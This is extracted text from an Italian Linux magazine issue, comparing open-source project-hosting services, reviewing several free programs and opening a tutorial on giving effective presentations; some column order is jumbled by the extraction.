un sistema di versioning può apparire una scelta sproporzionata. Eppure è un buon modo per tenere traccia anche delle più piccole modifiche del codice, e ritornare velocemente, in caso di emergenza, a una versione funzionante. Come impostazione predefinita, SourceForge abilita il sistema Git per i progetti, ma si possono impostare dall’amministrazione anche il classico Subversion - SVN o Mercurial, se li preferite. L’interfaccia Web

Controllo versioneUtilizzare un sistema di controllo delle versioni del codice

vi permette di generare i comandi shell per accedere al repository Git con protocolli differenti (es. SSH e HTTPS), e potete esplorare le modifiche dei diversi commit anche dal sito. BerliOS fa un passo avanti fornendo il supporto anche al famoso CVS, in aggiunta ai tre già citati per SourceForge, semplicemente attraverso dei comuni checkbox nel pannello di amministrazione. Ci ha molto colpito il fatto che BerliOS mette a disposizione differenti modi per navigare nel repository software, per esempio ViewCV e WebSVN per i repository Subversion, e GitWeb e CGit

per quelli Git. Se avete dei problemi con una delle interfacce, potete tranquillamente utilizzarne un’altra. GitHub supporta solamente Git, ma con un’avanzatissima interfaccia Web per navigare nei repository (incluso visualizzatore del codice sorgente con syntax-highlight integrato). Google Code ha Git, con Mercurial e Subversion come opzioni accessorie, e un sistema di navigazione/revisione Web piuttosto minimalista, mentre Savannah offre, anch’esso, i tre servizi citati a fianco di GNU Arch (ma si deve cercare nella documentazione per capire come configurarlo).

Savannah offre un’ampia varietà di scelta, ma BerliOS vince su tutti.

Verdetto

Google CodeNel tipico stile Google, tutte le opzioni sono raggruppate insieme sotto un singolo tab di amministrazione, che contiene sotto-categorie per la descrizione del progetto, download, sharing, wiki, segnalazioni e altro. Pressoché tutte le opzioni si presentano come campi testuali, quindi non è accattivante come l’interfaccia di SourceForge, ma uno sviluppatore navigato non dovrebbe avere grossi problemi a utilizzarla. Una quantità limitata di funzioni sono disponibili attraverso gli altri pannelli, che permettono di impostare pagine alternative per sezioni differenti, ad esempio Download e codice sorgente (utile se pianifi cate di caricarle su un servizio esterno). È un’interfaccia mediocre, che va bene per gli sviluppatori esperti, ma che appare un po’ trascurata e scarna.

SavannahL’interfaccia di Savannah è chiara e pulita, allegramente semplice e in puro stile GNU. È presente un promemoria che incentiva alle donazioni per mantenere il sito online, ma l’atmosfera è più orientata alla comunità Open Source rispetto alle altre offerte, con icone colorate e la mascot di GNU in bella vista. Potete gestire la mailing list, le segnalazioni dei bug e le attività attraverso l’interfaccia di amministrazione, la quale permette anche di aggiungere e rimuovere utenti. Abilitare o disabilitare funzioni è molto semplice e lo si può fare con pochi click del mouse, fornendo anche degli URL alternativi se si vogliono utilizzare funzionalità da altri servizi online. Se volete essere coinvolti in altri progetti, potete personalizzare il vostro profi lo per mostrare le vostre esperienze e capacità, così che gli altri sviluppatori possano cercarvi e mettersi in contatto con voi.

SourceForgeUltimo, ma non ultimo, SourceForge ha il sistema di amministrazione migliore, in termini di funzionalità, ed è anche quello più gradevole visivamente, con grandi icone e descrizioni eleganti. Tutto è ben organizzato in categorie, con la possibilità di impostare capillarmente i permessi del progetto (chi è un amministratore, chi può caricare i fi le, ecc.). Analogamente alla fase di iscrizione, l’amministrazione consente di aggiungere funzionalità con un singolo click, come abilitare un wiki o un database MySQL. Occasionalmente ci sono delle stranezze, per esempio l’impossibilità di creare o caricare un’icona per il sito. Sebbene non sia perfetta, è di sicuro l’interfaccia più completa e facile da usare, ed è perfetta per gli utenti poco esperti.

BerliOS

GitHub

Google Code

Savannah

SourceForge

Page 49: LinuxPro-N120_Settembre2012

52 LINUX PRO 120

da parte dei novelli amministratori. Diversamente, Google Code non offre niente altro degno di nota, come già detto ci si aspetta di utilizzare altri servizi Google per aggiungere funzionalità. SourceForge ha alcune comode funzionalità, come quella delle revisioni che permettono a un utente fi nale di redigere una piccola recensione del progetto. C’è anche un basilare sistema wiki, limitato alla sintassi Markdown (http://en.wikipedia.org/wiki/Markdown) che, pur essendo abbastanza semplice da utilizzare, manca della fl essibilità di quello provato per GitHub. Un’altra interessante funzionalità di SourceForge è quella per l’impostazione dei sotto-progetti. BerliOS impiega il sistema MediaWiki (lo stesso di Wikipedia) per il wiki interno, che si rivela incredibilmente potente, anche se forse un po’ fuori posto quando ce lo ritroviamo nell’interfaccia di utilizzo di BerliOS. È presente anche un sistema per abilitare le donazioni.

Savannah fornisce un gestore di attività (task manager) che è piuttosto simile

al sistema di segnalazione dei bug, ma dove gli sviluppatori possono pubblicare obiettivi e milestone per il progetto, mostrando la priorità e la percentuale completata. C’è anche un sistema di news per gli aggiornamenti, accompagnato da un feed RSS. GitHub, nel frattempo, fornisce un eccellente sistema wiki, funzionale e minimalista in puro stile

Funzionalità aggiuntiveGitHub, con una varietà di formati e di pulsanti per applicare gli stili, nel caso non si fosse familiari con il linguaggio di formattazione wiki. Anche Google Code fornisce un wiki, ma, così come succede per molti aspetti del servizio, sembra si stia usando una vecchia CGI anni 90, invece di una moderna applicazione Web. Fa quello che deve, ma sarebbe bastato davvero poco lavoro in più per rendere l’utilizzo più facile (e amichevole)

Gestore di attività, wiki, revisioni e sotto-progetti

L’interfaccia del wiki di GitHub rende le modifi che una passeggiata

BerliOS e SourceForge hanno molte opzioni in più.

VerdettoBerliOS

GitHub

Google Code

Savannah

SourceForge

Test Confronto

Scegliere un metodo di comunicazione per il vostro progetto può essere complicato.

Molti amministratori decidono di iniziare confi gurando innanzitutto un forum, che è accessibile da un’interfaccia Web. Ma i forum sono soggetti a problemi come lo spam e gli utenti che spendono più tempo a personalizzare la propria fi rma, che a comunicare soluzioni. L’utilizzo di una mailing list è di solito migliore, perché ogni collaboratore può scegliere lo strumento più congeniale per leggere e organizzare le conversazioni. SourceForge include un modulo per il forum, ma è un tiepido tentativo, con sotto-forum, formattazione base per creare tabelle e link, e notifi che via e-mail per monitorare certe discussioni. Quando si naviga un forum e si pubblicano

ComunicazioneLa possibilità di interagire con i propri utenti

dei messaggi, però, tutto sembra limitato, con l’armamentario della struttura di SourceForge che relega i messaggi in uno spazio ristretto. Non è inusabile, ma avremmo preferito un approccio come quello di phpBB, con il forum che occupa la parte centrale e dove tutti i menu inutili spariscono temporaneamente. Oltre al forum si può attivare la mailing list utilizzando Mailman. BerliOS non fa certo di meglio, dicendoti in fase di iscrizione che ‘Una volta confi gurato un forum non sarà possibile modifi carlo o cancellarlo’. Perché? Ma fa di peggio, in quanto la sezione Forum nella pagina del progetto è vuota, anche se, controllando dall’amministrazione, sono stati creati tre forum principali: Discussioni, Aiuto e Sviluppatori. Esplorando un po’ abbiamo scoperto che questi sono

impostati come ‘cancellati’, anche se esistono e funzionano. Un passo falso per BerliOS, che tuttavia ha l’ottimo sistema di mailing list, Mailman. Come ci si può aspettare da Google, gli strumenti di comunicazione sono demandati a servizi esterni, come l’utilizzo di Google Gruppi. Nessun problema con il software, se non fosse che dobbiamo procedere a un’ulteriore confi gurazione. Google Gruppi, comunque, funziona egregiamente e ha una buona interfaccia per navigare tra i messaggi. Savannah non ha i forum, ma, come gli altri, fornisce il servizio di mailing list tramite Mailman. GitHub non fornisce forum o mailing list, per questo non gli possiamo dare un voto in questa sezione. Ai sostenitori di Git potrà sembrare un giudizio troppo severo, e noi comprendiamo che aggiungere un forum avrebbe potuto aumentare la confusione. Ma almeno un semplice sistema di mailing list sarebbe molto utile per gli amministratori che non vogliono utilizzare servizi esterni.

Molti hanno la mailing list, e generalmente i forum sono poco funzionali.

VerdettoBerliOS

GitHub

Google Code

Savannah

SourceForge

Page 50: LinuxPro-N120_Settembre2012

LINUX PRO 120 53

Confronto Test

Project Hosting

Il verdettocapitale, fi n troppo vivace e a volte diffi cile da girare, BerliOS è invece come una piacevole cittadina medio-piccola, attrezzata con le migliori tecnologie, ma senza il rumore e la frenesia della grande metropoli. Per il fatto che i progetti debbano essere approvati prima da un team dedicato, ci sentiamo di dire che la qualità generale del software che si trova su BerliOS è più alta di quello su SourceForge. Inoltre tutte le idee stravaganti vengono di solito rifi utate (e questo rende più facile anche scegliere un nome, mentre su SourceForge molti nomi sono stati già usati negli anni passati, magari per progetti oggi abbandonati). BerliOS, tuttavia, ha un problema: non sappiamo quanto a lungo sopravviverà. Fu creato dal Fraunhofer Institute, in Germania, per

Ci sono due chiari vincitori in questa competizione: SourceForge e BerliOS. Il primo ha la pessima

reputazione di contenere progetti mai fi niti - oltre il 98% dei progetti al suo interno non ha mai superato la fase di pianifi cazione. Alcuni anni fa, tra l’altro, SourceForge era molto lento e poco funzionale, con centinaia di progetti inutili che rallentavano tutto il sito, motivo per cui in quel periodo molti utenti hanno spostato i progetti su altri servizi. Tuttavia, oggi SourceForge è incredibilmente veloce, facile da confi gurare e ricco di funzionalità, rendendolo la scelta che noi raccomandiamo. BerliOS si piazza secondo, ma di una spanna, poiché offre una serie di funzionalità per utenti avanzati che richiedono poco sforzo per essere confi gurati. Se SourceForge è come una grossa

assicurare uno spazio di condivisione dei progetti Open Source, e questo e stato per dodici lunghi anni, fi no alla fi ne del 2011, quando ha fi nito i soldi. Il team di BerliOS a quel punto ha mandato una mail a tutti gli amministratori, informandoli dell’imminente chiusura. Fortunatamente è stato salvato all’ultimo momento da un gruppo di volontari, ma non ci sono garanzie che non possa chiudere nel giro di pochi anni. Questo non è un grosso problema per progetti piccoli, ma se volete avere una base Web solida, probabilmente non è il caso di utilizzare BerliOS al momento. Per concludere, per arginare le e-mail di protesta da parte degli utilizzatori di GitHub, il servizio funziona egregiamente per tutto ciò che concerne l’uso di Git. E se vi interessa solo di questo, allora GitHub è il vincitore con una votazione di cinque stelle su cinque. Ma come servizio generale è purtroppo carente in alcune funzionalità principali.

Ci sono tanti altri servizi di hosting di progetti su Internet, molti dei quali sono specializzati su una tecnologia. È interessante che molti dei servizi siano basati sul codice sorgente di altri - il codice su cui si basa SourceForge, per esempio, è stato preso come spunto dal progetto GNU per diventare Savane, che adesso è alla base di Savannah. Gna (www.gna.org) offre dei servizi esclusivamente per il Free Software. Utilizzare alcuni dei seguenti servizi, invece,

In alternativa…indica che si condivide e si supporta l’Open Source. Se siete dei fan di Debian, provate Alioth (http://alioth.debian.org); gli irriducibili di Git che cercano un’alternativa a GitHub dovrebbero prendere in considerazione Gitorious (www.gitorious.org). Anche l’Unione Europea ha creato l’Open Source Observatory and Repository (www.osor.eu), un tentativo per incentivare l’utilizzo del software Open Source nel settore pubblico. LXP

“Se SourceForge è come una grossa capitale, BerliOS è invece come una piacevole cittadina medio-piccola”

Avete provato uno di questi strumenti? Fateci sapere cosa ne pensate all’indirizzo [email protected], oppure su Facebook www.facebook.com/LinuxPro.it.

A voi la parola…

SourceForge 1°

BerliOS 2°Web: www.berlios.de

Secondo per un soffi o, anche se ci si domanda quanto possa sopravvivere.

GitHub 4°Web: www.github.com

Brillante per chi utilizza Git, ma molto carente in alcuni aspetti.

Web: www.sourceforge.net

Accessibile e ricco di funzionalità. Il padre di tutti i servizi di project hosting.

Savannah 3°Web: http://savannah.gnu.org

Carente di smalto, ma buono se si vuole utilizzare un servizio totalmente gratuito.

Google Code 5°Web: http://code.google.com/projecthosting

Sorprendentemente brutto per un servizio Google. Strumenti piuttosto basilari.

Page 51: LinuxPro-N120_Settembre2012

54 LINUX PRO 120

Test Da non perdere

MyJgui

Idatabase sono elementi indispensabili della vita moderna come le nuvole per la pioggia e le scuse

per gli scherzi. Perciò ci scusiamo con gli amministratori di database, i database sono cose adorabili e noi tutti li amiamo, ma per la maggior parte delle persone, sono interessanti per necessità. Di sicuro alcune persone non amano spendere

il loro tempo smanettando nella shell compiendo azioni potenzialmente pericolose per le loro tabelle. Lo strumento scelto è stato per molto tempo

phpMyAdmin, uno strumento basato su interfaccia Web che permette di svolgere facilmente tutti i compiti standard. MyJgui adotta un approccio differente. Scritto in Java, è un’applicazione desktop che più o meno fa lo stesso lavoro di phpMyAdmin, ma siamo sicuri che possa fare meglio? Bene, sarete voi a giudicarlo, ma di certo essere liberati dalla tirannia di una fi nestra sul Web è un modo comodo di cominciare. Va sicuramente meglio se scorrendo il database non è più necessario l’infi nito aggiornamento della fi nestra per ogni singola azione, c’è una comoda visualizzazione a tre in basso a sinistra sul vostro desktop, inoltre potete gestire più connessioni a diversi host, così non sarete più legati a un solo server. L’area sulla destra è divisa in tre parti, vi mostra una fi nestra per le query, una per navigare fra le tabelle e una dedicata all’output. Le ultime

due sezioni sono segnalate da linguette, così da permettere di passare velocemente da una all’altra, per esempio, da quella per le query a quella della lista delle tabelle. Allo stesso modo, la fi nestra di output può mostrare messaggi, i log di MySQL o qualsiasi altro testo del campo selezionato. Questo eccezionale strumento non fa il lavoro per voi, dovete comunque essere in grado di scrivere query in SQL, ma è abbastanza semplice da comprendere anche per un novellino che lo voglia utilizzare per azioni semplici, come creare tavole o inserire dati. Essendo un’applicazione Java, naturalmente potete utilizzare direttamente il fi le jar con java -jar MyJgui.jar e non avrete problemi di dipendenze. È anche più carino di quel che sembra.

Database manager

In questa rubrica recensiamo i programmi più interessanti che si possono trovare in Rete. Ogni mese navighiamotra le migliaia di progettiOpen Source che nasconoo si aggiornano e selezioniamo i più nuovi, i più innovativi e quelli che possono tornare più utili per l’uso quotidiano di una Linux box. La maggior parte delle applicazioniprovate si trovano nel nostro DVD, ma ne forniamo anche gli indirizzi Internet così che ogni lettore possascaricare le versioni future.Se volete segnalare un vostro progetto o un programma Open Source che avete trovato in Rete e ritenete interessanteper la maggior parte dei lettori, inviate una mail all’[email protected]

FREE SOFTWARE

Δ VERSIONE 0.74.3 Δ WEB http//myjgui.com

QUESTO MESE...MyJgui 54Urban Lightscape 55din 55Mundus 56Avoision 56

54

Fa le magieI wizard vi aiutano a creare database e tabelle.

ConnessioniGestisce connessioni a diversi server.

Comandi SQLInserite qui i vostri comandi SQL.

L’interfaccia di MyJgui

Vista a linguetteI tab visualizzano risultati o dati nelle tabelle.

Clicca e modificaBasta un doppio click per effettuare modifi che.

FeedbackIl pannello per l’output mostra i log del motore del database.

“I database sono elementi indispensabili della vita moderna”

I database possono essere divertenti!!! Umh, ok... ma almeno possono essere un po’ meno noiosi

Page 52: LinuxPro-N120_Settembre2012

LINUX PRO 120 55

Da non perdere Test

Fare foto è facile, basta puntare la vostra Hasselblad/Fuji/Canon/ o la fotocamera del vostro

telefono su qualche cosa, premere il pulsante ed è fatta. Fare buone foto è un po’ più diffi cile e anche se si è sistemato per bene tutto nell’obiettivo, si è fatto attenzione alla composizione e alla messa a fuoco, c’è sempre la luce. Le foto si basano tutte sulla luce, ma usare la macchina fotografi ca per riprodurre la luce così come la vedono i nostri occhi può essere una cosa complicata. Per questo motivo tutti gli studi fotografi ci dedicano così tanto tempo alla luce e alle misurazioni. Ci sono diversi modi per fi ssare le immagini catturando i dettagli

nell’ombra senza oscurare gli oggetti principali e uno dei più semplici è usare Urban Lightscape. Caricate un’immagine al suo interno

Δ VERSIONE 1.0.4 Δ WEB http://bit.ly/zAhRh1

Urban LightscapeUtility grafi ca

Rendere i punti bui più luminosi e i punti in piena luce più soffusi. Più facile a farsi che a dirsi con Urban Lightscape

Il nuovo din è uscito in una sportiva e brillante versione 2.0. Fare musica non signifi ca solo imparare a suonare una

chitarra o una tastiera. Per molte persone, la possibilità di scolpire suoni al di là dell’elettronica è un ovvio e più immediato sistema per assalire i timpani. Din è lo strumento per fare questo lavoro. Mentre molti programmi vi permettono di scegliere tra una selezione di suoni, o almeno manipolare forme d’onda abbastanza basilari, non ce ne sono molti (noi crediamo neanche uno) che vi permettano di tracciare le forme d’onda stesse e non intendiamo producendo uno scarabocchio maldestro ma costruendo il suono con delle ben defi nite e modifi cabili curve di Bezier. Din ha il meraviglioso

effetto di farvi appassionare al giocare con i suoni – il piacere sta nel creare, non solo nell’ascoltare il risultato (il che sarebbe una benedizione, se poteste sentire qualcosa di ciò che abbiamo prodotto...). Naturalmente, se volete, potete anche creare musica per il benefi cio e il godimento di altri. Il segreto per usare din è leggere le istruzioni o almeno usare il sistema interno di help. Tutto ciò è accessibile dalla tastiera, attraverso l’uso di comandi testuali o di scelta rapida, e, per essere onesti, molti schermi

Δ VERSIONE 2.0 Δ WEB www.dinisnoise.org

dinSoftware audio

si assomigliano tra loro per cui la cosa migliore è familiarizzare con ciò che può fare ogni parte prima di tentare di fare qualsiasi altra cosa. Non c’è nessuna terribile e inaspettata dipendenza per din, è necessario solamente avere

il server sonoro JACK accessibile e funzionante, cosa che su alcune distribuzioni piuttosto che su altre è più di una sfi da (facile da usare, ma non semplice da regolare da parte dell’utente), quindi vale la pena di sforzarsi di leggere sia le istruzioni di din che quelle del server audio. Se riuscite a creare della bella musica, l’autore vorrà sentirla e anche noi, per cui perché non postare un link alle vostre meravigliose creazioni sul forum di Linux Pro?

e si aprirà una fi nestra che mostrerà una serie di cursori con i quali aggiustare le varie proprietà. Qui arriva la magia, un doppio click su una zona

dell’immagine causerà l’inserimento di un punto di controllo: fate scorrere il mouse su e giù per regolare la giusta luminosità di quel punto! Naturalmente il tutto funziona meglio se si inseriscono più punti di controllo intorno all’immagine in zone che necessitano di essere regolate. Il regolatore di limpidezza sulla destra controlla che la luminosità sia equilibrata fra due punti, rivelando ogni dettaglio praticamente in ogni immagine. In questo modo anche la peggiore foto può essere migliorata in poco tempo. Ovviamente la scommessa sarà quella di regolare innanzitutto la luminosità nel migliore dei modi, ma anche salvare gli scatti su cui non si avrebbe altra possibilità di recupero, in tutti questi casi Urban Lightscape rimane l’opzione migliore. Il sorgente è presente nel DVD allegato. A parte Wxwidgets, che sono usati per l’interfaccia, non esistono altre dipendenze fuori dall’ordinario, perciò si installa in un instante.

Controllate il vostro paesaggio di suoni con sinuose curve d’onda

“Fare musica non vuol dire solo imparare a suonare una chitarra o una tastiera”

Page 53: LinuxPro-N120_Settembre2012

56 LINUX PRO 120

Test Da non perdere

Usando Linux quotidianamente come desktop si incorre in perenni inconvenienti,

non intendiamo il costante cambiamento di paradigma dell’interfaccia, quanto piuttosto il disordine nella cartella home. Mentre altri sistemi operativi tendono a liberarsi di queste cose, in Linux sono sempre presenti e visibili e se cercando un particolare fi le in ~/, vi ritrovate a navigare fra molti fi le e cartelle create da applicazioni che non avete mai usato. Mundus (da non confondere con la distribuzione omonima) è un piccolo software che cerca di alleggerire questo peso. Quando è in funzione viene visualizzata sul lato sinistro in basso del monitor una serie

Mundus di software riconosciuti e installati e un pannello informativo sul lato destro. I numeri accanto ai nomi dei programmi indicano il numero dei fi le. Mundus non riconosce tutto, c’è una lista di software con cui funziona. A seconda dei programmi riconosciuti, si avranno un certo numero di opzioni, come la possibilità di ripulire la cache dei dati o di cancellare la confi gurazione. In ogni caso si può fare un backup. Non è un backup super-sicuro, perché è salvato nella directory di Mundus nella cartella home, ma può essere copiato in un posto sicuro. Il software, essendo ancora sperimentale, dimostra qualche difetto. Per esempio, usando il fi ltro che serve per visualizzare solo i fi le dei software non più installati, si possono trovare a sorpresa nella

Mettere in ordine non è mai il più felice dei compiti, ma ci sono modi per renderlo più facile

Utility

lista Chrome, KDE e GNOME. Questo programma può essere utile, ma non scommetteteci la vita sulla correttezza delle informazioni che fornisce. Mundus è scritto in Gambas, perciò richiede una manciata di moduli per funzionare, magari non tutti quelli utilizzati all’inizio per avviarlo, così, se dovesse sembrare che non funzioni correttamente, basta installare alcuni degli altri moduli (o tutti gli altri, dato che a essere onesti non ce ne sono ancora moltissimi).

Δ VERSIONE 1.1.3 Δ WEB http://mundus.sebikul.com

Nella storia dei giochi per computer ci sono stati dei terribili esempi, molti di questi sono stati

creati da grandi team di sviluppo, dotati di grafi ca elaborata, colonne sonore registrate professionalmente e una spiacevole mancanza di lungimiranza. Questo non è uno di questi casi. Non c’è grafi ca elaborata, né una colonna sonora di John Williams né nomi di famosi sviluppatori. Non c’è una trama o qualsiasi altra cosa di cui parlare. Non è altro che pura arte – un gioco ridotto talmente all’osso che uno incomincia a chiedersi “è ancora un gioco?”. Noi crediamo di sì. Certo, un gioco semplice e basilare, ma con gli elementi

Avoisionessenziali del “giocare”. L’obiettivo è semplice: si ha il controllo del blocco rosso e bisogna muoverlo verso il blocco verde usando i tasti cursore, tutto qui. Oltre al blocco

Schivate gli orrendi zombie in 3D mentre cercano di... oh, ok, fatelo con i blocchi rossi cercando di non essere colpiti

Gioco minimalista

bianco naturalmente, ce ne sono molti e potrebbero capitare cose spiacevoli se ci si sbatte contro. Si muovono molto velocemente e si dovrà essere un po’ più veloci e, a volte, persino abili e intelligenti per uscire dalla loro traiettoria. Se aiuta, si può immaginare di essere nel gioco I morti viventi, i blocchi bianchi sono gli zombi e quello verde è la roulotte. Solo che non ci sono fucili o rumori simili a grugniti, se avete bisogno di un po’ di adrenalina, c’è la versione estrema del gioco, fi n dove siete capaci di spingervi? Fortunatamente la mancanza dei soliti frizzi e lazzi signifi ca che questo gioco è estremamente leggero, privo di dipendenze e può essere compilato praticamente su ogni computer che supporti SDL. LXP

Δ VERSIONE 1.1 Δ WEB http://avsn.sourceforge.net

Page 54: LinuxPro-N120_Settembre2012

LINUX PRO 120 57

TutorialI nostri esperti offrono ogni mese i loro consigli di programmazione e di amministrazione del sistema

TUTORIAL

PresentazioniVolete qualche consiglio su come realizzare presentazioni che non facciano addormentare il vostro pubblico? Abbiamo chiesto consiglio al mitico Damian Conway, un vero guru in fatto di intrattenimento del pubblico pag. 58 GentooSe pensate che la distribuzione Gentoo sia riservata ai super esperti di Linux vi ricrederete dopo aver letto il nostro tutorial alla sua installazione, che vi guida passo per passo pag. 62 Permessi dei fileSe il normale sistema di gestione dei permessi d’accesso ai file non vi basta, è il momento di usare le ACL pag. 66

ArduinoAvreste mai pensato che Arduino si potesse trasformare in un chiacchierone? Vi mostriamo che è possibile pag. 68

Joomla! 2.5Gli ultimi ritocchi ai template pag. 72

SicurezzaAggiornare il server Web non basta a renderlo sicuro, verificatelo con WebGoat pag. 76

ACCADEMIA DEL CODICE

Concetti di baseGli algoritmi di ordinamento sono fondamentali in molte occasioni, ma non sono tutti uguali. Ve ne spieghiamo le caratteristiche prendendo come esempio il Bubble Sort pag. 80

PHPL’argomento database non si è esaurito il mese scorso. Questo mese sfrutterete MySQL per memorizzare e visualizzare tutte le informazioni che vi servono sui visitatori del vostro sito Web pag. 82 AssemblyLibrerie condivise, matematica e input/output in primo piano pag. 86

OpenCVCi avviciniamo al cuore del nostro corso dedicato a OpenCV: ecco come individuare un volto all’interno di una foto pag. 90

LA VOSTRA GUIDA DI RIFERIMENTOEsiste sempre qualcosa di nuovo da imparare in campo informatico, soprattutto in un mondo dinamico come quello di Linux e dell’Open Source. Ogni numero di Linux Pro presenta una corposa sezione dedicata a tutorial realizzati da esperti in moltissimi settori: programmazione, sicurezza,amministrazione di sistema,networking. Troverete informazioni utili sia che siate dei veterani di Linux sia degli utenti alle prime armi. Studieremo con cura anche le applicazioni più diffuse sia in ambito lavorativo che desktop. Il nostro scopo è quello di fornire in ogni numeroil giusto mix di argomenti, ma se avete suggerimenti su temi particolari che vorreste vedere trattati, scriveteci via e-mail all’indirizzo [email protected]

COME RAPPRESENTIAMOLE LINEE DI CODICESi presenta spesso la necessità di riportare le linee di codicedi un programma. Per favorirne la lettura evidenzieremole singole linee in questo modo: begin mniWordWrap.Checked := notendQuando una riga di codice supera la lunghezza della colonna la riporteremo su più righe utilizzando la notazione seguente:printf(“Vi preghiamo di inserireuna password.“);

Page 55: LinuxPro-N120_Settembre2012

58 LINUX PRO 120

Presentazioni Suggerimenti per rendete convincenti le vostre argomentazioni

Nel mondo del Software Libero creare ed eseguire una presentazione è uno dei metodi più effi caci di trasmettere le vostre idee,

sia che stiate parlando della vostra ultima scoperta di un programma libero a un LUG, contribuendo a una conferenza come Guadec o Akademy, o facendo una presentazione più formale a un più grande evento di evangelizzazione di FOSS. Ma c’è un’incongruenza in tutto questo. Nonostante quella Open Source sia una comunità che fa molte presentazioni che parlano dei progetti che ci appassionano e di quello che è stato realizzato, con le migliori intenzioni del mondo, veramente pochi di noi sono dei presentatori naturali. La cosa peggiore è che dopo aver subito per molti anni i temi, le transizioni, i punti elenco animati predefi niti di Microsoft e i presentatori che dicevano ogni parola sulla diapositiva, una presentazione, anche una su di un argomento che amiamo, può ancora essere terrorizzante. Questo avviene perché, a meno che non siate nati per essere un politico o un venditore di auto, è una capacità che non si materializza senza pratica, preparazione e disciplina. E se la vostra presentazione va male, probabilmente non vorrete provare di nuovo. Questo è un peccato. Le presentazioni possono essere fantastiche. Possono essere sia il miglior modo di insegnare agli altri la struttura di una tecnologia, sia un modo di capire di cosa ha bisogno la vostra comunità. Chiunque può essere un gran presentatore e non c’è niente come il contatto diretto che il pubblico sente quando qualcuno sta parlando di qualcosa che lo appassiona. Una buona presentazione non sembra ripetuta, preparata e organizzata. Sembra un fi lo diretto con la mente del presentatore. Questo è forse

il motivo per cui i buoni presentatori possono intimidire gli altri e fargli pensare che non c’è modo di eguagliare il loro controllo mentale e la loro perfezione, il che, a sua volta, può rendere l’intero procedimento angosciante, estenuante, diffi cile, imprevedibile e, in defi nitiva, da evitare. Per una ragione qualunque, molte presentazioni di appassionati di informatica falliranno o nell’interessare il pubblico o nel passare le informazioni per cui erano progettate. È quel miscuglio di inesperienza, vita sociale espressa quasi interamente su Internet e materiale di argomento tecnico che può così spesso portare a un memorabile fi asco. Ma non deve per forza essere così. Ci sono alcune presentazioni e presentatori incredibili nel mondo del Software Libero. Perciò, quando abbiamo avuto l’opportunità di frequentare un corso di un giorno sulle presentazioni tenuto da Damian Conway, non abbiamo esitato. Non solo Damian è uno dei massimi smanettoni di Perl e un esperto di informatica a tutto tondo, è anche uno dei migliori presentatori che abbiamo mai visto. I suoi discorsi introduttivi alla OSCON sono intelligenti, informativi e divertenti. Le sue sessioni guida spiegano idee complesse senza sforzo. Ma la cosa più importante è che mantiene il coinvolgimento del pubblico.

Pianifi carePer quanto possa essere liberatorio fare una presentazione senza alcuna preparazione, a meno che non siate incredibilmente dotati e sicuri, è destinata a fallire. Il modo migliore per i semplici mortali di fare ottime presentazioni e il singolo fattore più determinante che decide tra il successo e il fallimento è la quantità di impegno che mettete nei suoi contenuti. Damian dice di impiegare 100 ore di lavoro su di una singola presentazione di un’ora e anche se non suggerisce che voi facciate lo stesso per le riunioni mensili, tuttavia

Se avessimo ascoltato il consiglio di Damian quando ha fatto la sua presentazione all’Akademy, potremmo essere dei collaboratori di KDE

INTERMEDIO

Presentazioni: imparate l’arteLinux Pro distilla un po’ della saggezza raccolta in una giornata al corso di presentazioni di Damian Conway, uno dei più importanti protagonisti della comunità Perl

Page 56: LinuxPro-N120_Settembre2012

LINUX PRO 120 59

Presentazioni Tutorial

raccomanda una proporzione di 10:1, dieci ore di lavoro per un’ora di presentazione. Damian suggerisce di iniziare con un brainstorming di idee, impiegando giusto un’ora per scrivere tutte le cose che volete trattare. Questa panoramica iniziale può essere di parecchie pagine o di una sola, ma se trovate diffi cile tirare fuori le idee, forse dovreste ripensare se siete la persona più adatta per fare la presentazione. È importante che i partecipanti vi vedano come esperto. Come Damian ha sottolineato nel suo corso, potreste essere un esperto persino nel non essere un esperto, come nel sottolineare i problemi di usabilità con l’interfaccia Unity di Canonical o che troppa scelta sta danneggiando l’ecosistema di Linux, ma dovrete sempre essere in grado di parlare dell’argomento scelto con autorevolezza. Se è un argomento di cui non potete parlare per esperienza personale, non ne varrà la pena. O cambiate argomento o trovate qualcuno più adatto. Dalla panoramica iniziale dovete scegliere alcuni punti che volete che i partecipanti capiscano e ricordino. Damian ne raccomanda una manciata, con cinque come numero magico, sebbene ammetta che la sua presentazione ne ha sette. Il pubblico andrà via solo con poche delle vostre idee in testa, non importa quanto sia coinvolgente o ben pianifi cata la vostra presentazione, perciò è saggio provare a gestire voi stessi quelle idee e dare priorità a quelle che pensate che il vostro pubblico debba prendere. Dovrete anche assicurarvi che quelle idee possano combinarsi per formare un fi lo narrativo. Questo fi lo sarà la struttura della vostra presentazione, che si spera tocchi le idee principali a determinati intervalli e le intrecci in una storia, perché una storia è molto più facile da ricordare di un elenco di idee scollegate. Si tratta di “riconoscere e ricordare”. Damian raccomanda di usare altre idee nate dal brainstorming se non potete far funzionare questi cinque punti in una narrazione. Questo perché usare una storia per rendere le vostre idee facili da ricordare è più importante di trattare un punto isolato. Se un singolo punto è veramente tanto importante, allora progettate la vostra presentazione intorno a quel punto, ma non lo lasciate orfano dal resto del vostro discorso, perché non sarà mai ricordato. Poiché potete aspettarvi che solo poche delle vostre idee siano trasmesse al vostro pubblico, è vostro compito assicurarvi che quelle idee siano le più importanti per il vostro messaggio; questo signifi ca trovare un compromesso

tra quello che volete dire e quanto è facile dirlo. Damian la spiega come “fl uidità cognitiva”, cioè il concetto che idee semplici, più fl uide sono facili da capire e ricordare. Non è che non possiate spiegare concetti complicati, ma è come scegliete di spiegarli.

DiapositiveQuesto ci porta a come costruire le vostre diapositive. Damian consiglia fortemente di non iniziare con le diapositive stesse, ma con il promemoria che dovrebbe sempre accompagnare le vostre presentazioni. Poiché questo promemoria non dovrebbe mai essere un duplicato della vostra presentazione, ma un’espansione delle sue idee e temi, ha senso che questo sia la parte migliore da dove iniziare. Esso funziona anche come modo per arricchire il vostro brainstorming originale, dividendo la presentazione nei temi principali e tentando di affrontare la narrazione che deve unirli insieme. Anche se iniziate con una sola pagina A4, quasi sempre fi nirete con più informazioni sul promemoria di quante sarete in grado di dire durante la presentazione. Che è quello che volete. Quando siete soddisfatti della fl uidità e del contenuto del promemoria, è tempo di sottoporsi a un altro livello di potatura non appena iniziate con le diapositive vere e proprie. Una delle domande più comuni quando si crea una presentazione è: “quante diapositive dovrei usare?”. La risposta dipende dal vostro stile di presentazione, ma le diapositive dovrebbero essere usate come temporizzatore per voi. Dovreste usare dei punti tappa a questo scopo, magari pianifi cando di raggiungerli a intervalli di 15 minuti. Le diapositive che usate tra questi punti dipendono da quello di cui state parlando, da come ne parlate e da quante informazioni volete trasportare sullo schermo. Potrebbero essere una ogni 